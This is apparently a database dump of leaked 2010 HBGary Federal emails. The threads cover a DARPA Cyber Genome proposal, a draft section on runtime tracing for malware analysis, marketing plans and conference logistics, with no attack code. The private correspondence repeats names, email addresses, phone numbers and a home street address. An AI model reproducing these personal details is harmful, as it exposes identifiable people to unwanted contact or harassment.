ClarificationImportance:&nbsp;High&nbsp;Hi Ken,&nbsp;That was on purpose in discussions with Anita to reign in costs. &nbsp;The aim will be that we are part of the last teams standing and their will be additional funds in the out years to support further development.&nbsp;When can I expect to see updated costs for the plan? &nbsp;Are you on track to ship the sealed packages today or tomorrow?&nbsp;AaronOn Mar 24, 2010, at 8:59 AM, Kenny Prole wrote:Aaron,&nbsp;In reviewing the RFP/SOW you sent (also attached), I noticed there’s a gap from month 30-35 and no description for months 36-48. Was that your intent?&nbsp;Please review the current and proposed tasks below if indeed it was just oversight.&nbsp;Current:DateEffortMonths 1-6Define visualization requirements for the analysis of malware functionality and behaviors.Months 7-8Describe and document an architecture that visualizes malware functionality and behaviorsMonths 9-15Develop visualization prototypes to assist in the analysis of malware functionality and behaviors.Months 15-24Integrate and demonstrate progressively more complete visualization prototypesMonths 25-27Define requirements for the visualization of aggregate malware functionality and behaviors (fingerprinting and auto-discovery of characteristics through visual cues.Months 28-29Describe and document an architecture that visualizes aggregate malware functionality and behaviors (fingerprinting and auto-discovery of characteristics through visual cues.Months 36-48&nbsp;&nbsp;Proposed:DateEffortMonths 1-6Define visualization requirements for the analysis of malware functionality and behaviors.Months 7-8Describe and document an architecture that visualizes malware functionality and behaviorsMonths 9-15Develop visualization prototypes to assist in the analysis of malware functionality and behaviors.Months 15-24Integrate and demonstrate progressively more complete visualization prototypesMonths 25-27Define requirements for the visualization of aggregate malware functionality and behaviors (fingerprinting and auto-discovery of characteristics through visual cues).Months 28-29Describe and document an architecture that visualizes aggregate malware functionality and behaviors (fingerprinting and auto-discovery of characteristics through visual cues).Months 30-36Develop visualization prototype to assist in the analysis of aggregate malware functionality and behaviors (fingerprinting and auto-discovery of characteristics through visual cues).Months 36-48Integrate and demonstrate progressively more complete visualization prototypes&nbsp;We’ll need this confirmation to finalize our costing.&nbsp;Thanks!&nbsp;---------------------------------------------------------------------Ken Prole ~ Project EngineerApplied Visions, Inc., Secure Decisions Division631.759.3907 ~&nbsp;securedecisions.avi.com----------------------------------------------------------------------&nbsp;&lt;RFP Secure Decisions Cyber Genome Program-TA3.doc&gt;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;&lt;RFP Secure Decisions Cyber Genome Program-TA3-rev324.doc&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',7141,'aaron_hbgary_com/7141.html'),(4454,'2010-03-24','\"Cathy Ebert-Velardi\" <cathye@avi.com>','/aaron@hbgary.com/new/1297002553.M940015P3547Q4454.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Address to Send Cost Data for TA3','Aaron,\r\n\r\nHow would you like the cost proposal sent? FedEx, USPS?\r\n\r\nAny mailing instructions would be appreciated.\r\n\r\nThanks!!\r\n\r\n\r\nCathy Velardi \r\nExecutive Assistant \r\nSecure Decisions\r\nA Division of Applied Visions, Inc. \r\n6 Bayview Avenue \r\nNorthport, NY 11768 \r\n(631) 759-3911\r\n(631) 754-1721 - Fax \r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, March 23, 2010 5:04 PM\r\nTo: Ebbe Reker; Anita D\'Amico; Irby Thompson; Adam Fraser; Christopher\r\nH. Starr; Phil Porras; vinod@csl.sri.com\r\nSubject: Address to Send Cost Data for TA3\r\n\r\nPOC: Aaron Barr\r\n1223 Potomac School Rd.\r\nMclean, VA 22101\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n719.510.8478\r\n\r\n\r\n',9174,'aaron_hbgary_com/9174.html'),(4455,'2010-03-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002554.M151199P3547Q4455.eml','\"Cathy Ebert-Velardi\" <cathye@avi.com>','Re: Address to Send Cost Data for TA3','Fedex Please.\r\nAaron\r\n\r\nNo mailing instructions.  Its my house listed below.\r\n\r\nAaron\r\n\r\nOn Mar 24, 2010, at 1:44 PM, Cathy Ebert-Velardi wrote:\r\n\r\n> Aaron,\r\n> \r\n> How would you like the cost proposal sent? FedEx, USPS?\r\n> \r\n> Any mailing instructions would be appreciated.\r\n> \r\n> Thanks!!\r\n> \r\n> \r\n> Cathy Velardi \r\n> Executive Assistant \r\n> Secure Decisions\r\n> A Division of Applied Visions, Inc. \r\n> 6 Bayview Avenue \r\n> Northport, NY 11768 \r\n> (631) 759-3911\r\n> (631) 754-1721 - Fax \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Tuesday, March 23, 2010 5:04 PM\r\n> To: Ebbe Reker; Anita D\'Amico; Irby Thompson; Adam Fraser; Christopher\r\n> H. Starr; Phil Porras; vinod@csl.sri.com\r\n> Subject: Address to Send Cost Data for TA3\r\n> \r\n> POC: Aaron Barr\r\n> 1223 Potomac School Rd.\r\n> Mclean, VA 22101\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> 719.510.8478\r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',6120,'aaron_hbgary_com/6120.html'),(4456,'2010-03-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002557.M519296P3547Q4456.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Martin Pillion\" <martin@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Martin Pillion\" <martin@hbgary.com>,','Static Memory Analysis and Runtime Tracing','Hey Guys,\r\n\r\nDARPA proposal is coming down to the wire (monday turn in).  I think overall things are looking pretty good.  but I have one section that needs some consolidation and smoothing.\r\n\r\nCan you please take a look and see what you can do with it.  Attached is the full proposal.  Below is the extracted text I need help with.\r\n\r\n\r\n\r\nIII.D.6            Static Memory Analysis and Runtime Tracing (SMART)\r\n\r\nDirectly observing program behavior during execution is superior to modeling software using static analysis.  Static analysis requires an interpretation of what would happen when the program is run.  Information collected during runtime reflects what actually happened and is not subject to interpretation.\r\n\r\nTo completely reverse engineer software with static analysis requires the resulting software model to approximate the complexity of the actual program.  Why create and study the model when you can observe the real software in action?\r\n\r\nThrough static analysis we can identify and mitigate anti-analysis capabilities and other security implementations as well as retrieve external information that can aid in the analysis.  Then taking iterative steps between memory and runtime analysis we can discern information and information types the specimen is looking for to execute specific branches, then execute the branches using the required variables for more complete specimen code flow recordings.  In addition using memory analysis we can determine likely code sections and locations of interest.  These sections are likely identifiable using trait and pattern matches.  Use dataflow and codeflow emulation to track the expected behavior of the binary.  This can provide us with ideal data and locations for use in our actual tracing/execution system. \r\n\r\nStatic analysis requires that control flows within a program be resolved through painstaking analysis and tracing flows by hand.  Why do this hard work when the control flow can be automatically observed during runtime. \r\n\r\nCollecting on the linear execution of binaries does not provide information on branches that require a specific condition to be met in order to execute and that was not met during a trace.  Without an ability to fully or nearly fully exercise all branch conditions within a binary you can not say for certain that you understand the full function and behaviors, and certainly not the full intent of a malware specimen.  There are a few methodologies \r\n\r\nObtain a memory snapshot of the binary and all its loaded components (or unpack the binary with a tool).  Use static analysis to determine likely code sections and locations of interest (we should be able to pattern or trait match these areas).  Use dataflow and codeflow emulation to track the expected behavior of the binary.  This can provide us with ideal data and locations for use in our actual tracing/execution system. \r\n\r\nImagine the execution path of a binary as a tree system.  Starting from a single point (the trunk), execution flows through various branches.  Unlike a tree though, branches can loop back upon themselves, or jump to entirely different branches.  The complexity this presents can quickly overwhelm the processing power and memory of a typical computer.  For example:  With 1 branch condition (2 branches), there are three possible states (A, A->B, A->C), with 2 branch conditions there are five possible states (A, A->B, A->C, A->B->D, A->B->E), with 3 there are 7 (A, A->B, A->C, A->B->D, A->B->E, A->B->E->F, A->B->E->G)… seems reasonable, looks like just x *2 +1… however, now consider a forth branch that loops back to A… we have just introduced many more states.  This is with just a single loop and a few branching conditions.  Imagine thousands of branches and hundreds of loops.  The basic fact that a loop could repeat forever and have different state with every pass means we cannot easily compute all its possible states (without approximations, models, or shortcuts… and even those are limited).  What are ideal data and locations for tracing?  There are locations and data (aka, state) that cause a large change in the execution path.  The goal should be to find the minimal state changes needed to cause the largest run-time execution paths, or the largest changes from previous execution paths.\r\n\r\nGiven the following code path:\r\n\r\nA->B or A->C, depending on data1\r\n\r\nB->D or B->E, depending on data2\r\n\r\nD-> ends the program\r\n\r\nE->F or E->G, depending on data3\r\n\r\nF->H or F->I, depending on data4\r\n\r\nB+Data2 is an ideal state because changing it can change the execution path from A->B->D to potentially A->B->E->F->H, etc… a large increase in the number of states.\r\n\r\nWhat does the tracing system do with the ideal state information?  It uses the information to record and execute the binary and obtain as large a sampling of executable content as possible.  This sampled data is then fed into the reasoning system built in piece D.\r\n\r\nBy combining static and dynamic analysis we can leverage the benefits of both to avoid some of the most difficult challenges of the other.  Static analysis can provide us a solid skeleton or starting set of code and data to trigger the greatest state coverage in dynamic analysis.  One of our biggest problems building similar systems in the past was that the execution time and memory required to examine every possible was too large and too lengthy.  There were literally hundreds of millions of different ways to execute average size binaries.  Only a small percentage of those different ways would yield useful information.   Another problem with a past implementation was that it led to logically inconsistent states in the binary that would sometimes lead to crashes.  By forcing some branches (via direct CPU flag changes), we violated logic in the binary that may have prevented that branch from ever occurring, yielding, at best, questionable data.\r\n\r\n\r\n\r\nFig X. orange blocks branch based on controlled input, but the second leg of the branch has not yet been exercised.  These represent \'targets\'.  The purple block represents a branch that is controlled where both sides of the branch have been successfully visited.  This is considered \'fully resolved\'.\r\n\r\n \r\n\r\nThis is a system to calculate and automatically recover control flow in executable code.  A prototype exists that demonstrates this successfully against test binaries running on a windows x86 platform.  The AFR algorithms can be extended to address code recovery of malware programs.\r\n\r\nI/O is important because the emulation environment will not know how to respond to a data query made to an external element.  To address the possible tree of control flows, whenever an I/O operation is performed, any subsequent control flow that is driven by the values contained in the response data will be crafted based upon the arithmetic comparisons made against the data once it returns.  First, a random or preset response will be provided.  Following this, data flow tracing will be used to track every derived memory location that sources from the response data.  Whenever a control flow decision is based upon this sourced data, the original location it was sourced from is recorded.  Then, using this source location information, the I/O response data will be precisely mutated to affect the control flow, increasing code coverage.  This process will be repeated as necessary to cover all control flow that is influenced by external I/O response data.\r\n\r\nIn order to increase the performance, the design will include the ability to snapshot ( ) the program state at any point.  Using such snapshot capability, the system will snapshot execution and data state immediately prior to any crafted I/O response.  This allows the snapshot state to be restored for every subsequent crafted data mutation.  In other words, the \'target under test\' will not need to be re-executed from the root, but rather can be restored directly before the mutation operation, thus increasing speed and effectiveness.\r\n\r\nAs execution emulation continues in this manner, multiple snapshot will be created and will result in a single-root, directed graph of data states.  This tree of data states represent important points along the control flow of the target under test.   The further down the tree, the more state transitions that have taken place.  It will  be possible to define data states that represent known malware behaviors.  For example, writing to a registry key, sniffing a keystroke, or logging particular kinds of data to a log file.  There are nearly limitless possibilities, restricted only by that which can be defined as software behavior (in other words, nearly limitless).  The definition of what behaviors are noteworthy can be defined in a symbolic language that is used and evaluated while the data state tree is recorded.  Once a clear malware behavior is identified, it will exist at a leaf node of the data state tree.  When that occurs, the data state tree can be traversed backwards and a complete trace of the malware execution leading up to the suspicious behavior can be recovered.\r\n\r\n \r\n\r\n\r\n',9066,'aaron_hbgary_com/9066.html'),(4457,'2010-03-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002557.M922200P3547Q4457.eml','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','Re: word version of the TA1 draft','Thanks.On Mar 24, 2010, at 12:15 PM, Starr, Christopher H. wrote:Aaron,&nbsp;Attached is a word version of the TA1 draft, with the previous accomplishments sections.&nbsp;Chris&nbsp;&lt;DCG Technical Volume for Technical Area 1 DRAFT.docx&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',524,'aaron_hbgary_com/524.html'),(4458,'2010-03-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002558.M114805P3547Q4458.eml','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','Re: word version of the TA1 draft','What is the percentage Jason will be dedicated to TA3?  He is the Key personnel right?\r\nAaron\r\n\r\nOn Mar 24, 2010, at 12:15 PM, Starr, Christopher H. wrote:\r\n\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',14349,'aaron_hbgary_com/14349.html'),(4459,'2010-03-24','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002558.M430162P3547Q4459.eml','\"Aaron Barr\" <aaron@hbgary.com>','Still on the call','I\'m still on the call with John.\r\n\r\nI\'ll call you back when we\'re through.\r\n\r\nTed\r\n',15100,'aaron_hbgary_com/15100.html'),(4460,'2010-03-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002559.M13557P3547Q4460.eml','\"Kathryn Tracy\" <kathryn.tracy@sri.com>','FedEx Address','POC: Aaron Barr\r\n1223 Potomac School Rd.\r\nMclean, VA 22101\r\n\r\n719.510.8478\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',12220,'aaron_hbgary_com/12220.html'),(4461,'2010-03-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002564.M853760P3547Q4461.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: word version of the TA1 draft','Look how GD did their SOW.\r\n\r\nAaron\r\n\r\n\r\nBegin forwarded message:\r\n\r\n> From: \"Starr, Christopher H.\" \r\n> Date: March 24, 2010 12:15:53 PM EDT\r\n> To: \"Aaron Barr\" \r\n> Subject: word version of the TA1 draft\r\n> \r\n> Aaron,\r\n>  \r\n> Attached is a word version of the TA1 draft, with the previous accomplishments sections.\r\n>  \r\n> Chris\r\n>  \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',3195,'aaron_hbgary_com/3195.html'),(4462,'2010-03-24','\"Kathryn Tracy\" <kathryn.tracy@sri.com>','/aaron@hbgary.com/new/1297002565.M384203P3547Q4462.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: FedEx Address','\r\n\r\n\r\n  \r\n\r\n\r\nAaron,\r\n\r\nThanks so much, we will get the hard copy gov version to you no later\r\nthan Friday via fedx.\r\nbest,\r\nkat\r\n\r\nOn 3/24/2010 10:59 AM, Aaron Barr wrote:\r\n\r\n  POC: Aaron Barr\r\n1223 Potomac School Rd.\r\nMclean, VA 22101\r\n\r\n719.510.8478\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n  \r\n\r\n\r\n\r\n',12294,'aaron_hbgary_com/12294.html'),(4463,'2010-03-24','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297002565.M605020P3547Q4463.eml','\"Aaron Barr\" <aaron@hbgary.com>','Jason percentage','Aaron, I think you should put Jason down for 25% but we have a mix\r\nbetween him and someone else (so it could be 10% Jason and 15% of\r\nsomeone else).\r\n\r\nChris\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, March 24, 2010 1:47 PM\r\nTo: Starr, Christopher H.\r\nSubject: Re: word version of the TA1 draft\r\n\r\nWhat is the percentage Jason will be dedicated to TA3?  He is the Key\r\npersonnel right?\r\nAaron\r\n\r\nOn Mar 24, 2010, at 12:15 PM, Starr, Christopher H. wrote:\r\n\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',3499,'aaron_hbgary_com/3499.html'),(4464,'2010-03-24','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297002565.M815373P3547Q4464.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: HBGary Podcast Proposal','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nOK&lt; here are Karen&#8217;s thoughts.&nbsp; &nbsp;DO you think we can get Jim\r\nLewis for the 19th? Perhaps we can push it back a week or so.&nbsp; I am\r\ngoing to try to get Andy Purdy for the third topic.&nbsp; He&#8217;s an attorney.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Karen Burke\r\n[mailto:karenmaryburke@yahoo.com] \r\nSent: Wednesday, March 24, 2010 11:09 AM\r\nTo: penny@hbgary.com\r\nSubject: HBGary Podcast Proposal\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n \r\n  \r\n  \r\n  Hi Penny, I put together a possible proposal for a 3-part\r\n  HBGary podcast series on APT; please see attached. Descriptions can be\r\n  fleshed out further once we have&nbsp;confirmed speakers.&nbsp;I\'ve seen some\r\n  few vendor&nbsp;Webinars i.e. NetWitness and blogs on the topic, but I think\r\n  we have an opportunity to go deeper and utilize third-part&nbsp;experts to\r\n  provide additional value to our customers.\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  The podcasts should be:\r\n  \r\n  \r\n   Vendor-neutral (be careful not\r\n       to&nbsp;plug our products)\r\n   Informative -- look for opportunities to\r\n       advance industry discussion on topic and add as many anecdotes as\r\n       possible (cloaked is okay)\r\n   Helpful Advice --&nbsp;takeaway&nbsp;steps\r\n       for users to bring back to their organizations \r\n   Easy-to-understand: Keep it simple -- only\r\n       use 1-3 speakers per podcast so listeners can easily follow who is\r\n       speaking\r\n  \r\n  \r\n  Promotion Possibilities\r\n  \r\n  \r\n   Media Alert&nbsp;announcing series (we\r\n       should announce all three podcasts at same time)\r\n   Front-page promotion of series on HBGary\r\n       Web site\r\n   Greg can&nbsp;promote on Fast Horizon blog\r\n   Aaron/Ted promote to customers/potential\r\n       customers; Aaron also has a Twitter account so he can promote there as\r\n       well\r\n   Regular HBGaryPR tweets&nbsp;promoting\r\n       upcoming podcasts\r\n   &nbsp;Guest Blog on HBGary Website:\r\n       Introduce a new &quot;Guest&quot; blog where we invite experts (such as\r\n       the ones chosen to be interviewed for our podcasts)&nbsp;to blog about\r\n       topics important to our customers\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  Greg\'s APT Marketing Ideas:\r\n  \r\n  \r\n  I really like the Oil industry whitepaper idea.&nbsp;While\r\n  the rest of his APT ideas are interesting, I do worry about putting too much\r\n  APT language on our Website. This would be a great topic to bring up in your\r\n  upcoming calls with Gartner (early April) and 451Group meeting to&nbsp;get\r\n  their feedback.&nbsp;&nbsp;\r\n  \r\n  \r\n  &nbsp;&nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n \r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2508,'aaron_hbgary_com/2508.html'),(4465,'2010-03-24','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297002566.M34589P3547Q4465.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: JTF-GNO','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHI Aaron,\r\n\r\n&nbsp;\r\n\r\nPlease disregard last email from me. The booth is being sent to\r\nthe Ritz.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice Manager\r\n\r\nHBGary, Inc.\r\n\r\n3604 Fair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento, CA&nbsp; 95864\r\n\r\nTel:&nbsp; 916-459-4727 ext. 101\r\n\r\nFax: 916-481-1460\r\n\r\nEmail&nbsp; deeann@hbgary.com\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, March 24, 2010 7:48 AM\r\nTo: Bob Slapnik\r\nCc: DeeAnn Buonaccorsi\r\nSubject: Fwd: JTF-GNO\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nJust got the information. &nbsp;The Ritz is the one in\r\nTysons Corner.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nTimothy\r\nRonan &lt;tronan@palantirtech.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nDate:\r\nMarch\r\n24, 2010 10:46:13 AM EDT\r\n\r\n\r\n\r\n\r\n\r\nTo:\r\nAaron\r\nBarr &lt;aaron@hbgary.com&gt;, Matthew\r\nSteckman &lt;msteckman@palantirtech.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nSubject:\r\nRE: JTF-GNO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIf it would be easiest to store local in DC prior to the\r\nconference, you are welcome to send it to our Tysons office.&nbsp;\r\nAlternatively, the Ritz-Carlton will be prepared to start receiving partner\r\nequipment on Monday, 4/5.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOur office mailing address is:\r\n\r\n\r\n\r\n\r\n\r\n1660 International Dr., Suite 800\r\n\r\n\r\n\r\n\r\n\r\nMcLean, VA 22102\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nLet me know if you decide to mail it here so I can keep an eye\r\nout for it.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\nTim\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPS. Also attached the conference partner guide for your\r\nreference.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n_________________________________________________________\r\n\r\n\r\n\r\n\r\n\r\nTim Ronan\r\n\r\n\r\n\r\n\r\n\r\nPalantir Technologies | Forward Deployed Engineer\r\n\r\n\r\n\r\n\r\n\r\ntronan@palantirtech.com&nbsp;| 571.225.6179\r\n\r\n\r\n\r\n\r\n\r\n_________________________________________________________\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Tuesday, March 23,\r\n2010 9:03 PM\r\nTo:&nbsp;Matthew Steckman\r\nCc:&nbsp;Timothy Ronan\r\nSubject:&nbsp;Re: JTF-GNO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks Matt.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI will have more time once the DARPA proposal is in on\r\nMonday. &nbsp;Right now my brain is full with Cyber Genome.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTim. &nbsp;What should I do about our booth? &nbsp;Right now\r\nit is in DC and we can keep it here and have it shipped to your location.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 23, 2010, at 7:08 PM, Matthew Steckman wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nExcellent on JTF.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIn terms of booth stuff, Ive CCed Tim&#8230;..he&#8217;ll know best.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com&nbsp;| 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Tuesday, March 23,\r\n2010 5:23 PM\r\nTo:&nbsp;Matthew Steckman\r\nSubject:&nbsp;Re: JTF-GNO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHey Matt. &nbsp;Let me see what I can dig up. &nbsp;Jtf\r\nwould be am interesting deployment. &nbsp;I think I may have let a few\r\ngovernment contacts. &nbsp;Certainly have some NG contacts I could reach out to.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhat address should I give the cpany for our booth? &nbsp;Or\r\ndo u supply booths?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHow does all that work?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 23, 2010, at 12:01 PM, Matthew Steckman &lt;msteckman@palantirtech.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWe keep hearing about cyber ops at JTF-GNO with respect to\r\nour ongoing cyber deployments.&nbsp; Im wondering if you still have any\r\nconnections there and might set up a short briefing for us.&nbsp; Federal\r\nleadership is obviously preferred, but any foot in the door would be\r\nappreciated.&nbsp; We would outline our progress to date with our major cyber\r\ncustomers and give them a quick capabilities brief.&nbsp; We&#8217;d obviously\r\nmention our HBGary connections as well.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nLet me know what you think.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-Matt\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com&nbsp;| 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2865,'aaron_hbgary_com/2865.html'),(4466,'2010-03-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002566.M370366P3547Q4466.eml','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','Re: JTF-GNO','Man and I just made room in my Garage!Just kidding. &nbsp;Thank You.AaronOn Mar 24, 2010, at 3:02 PM, DeeAnn Buonaccorsi wrote:HI Aaron,&nbsp;Please disregard last email from me. The booth is being sent to the Ritz.&nbsp;DeeAnn BuonaccorsiOffice ManagerHBGary, Inc.3604 Fair Oaks Blvd.&nbsp; Suite 250Sacramento, CA&nbsp; 95864Tel:&nbsp; 916-459-4727 ext. 101Fax: 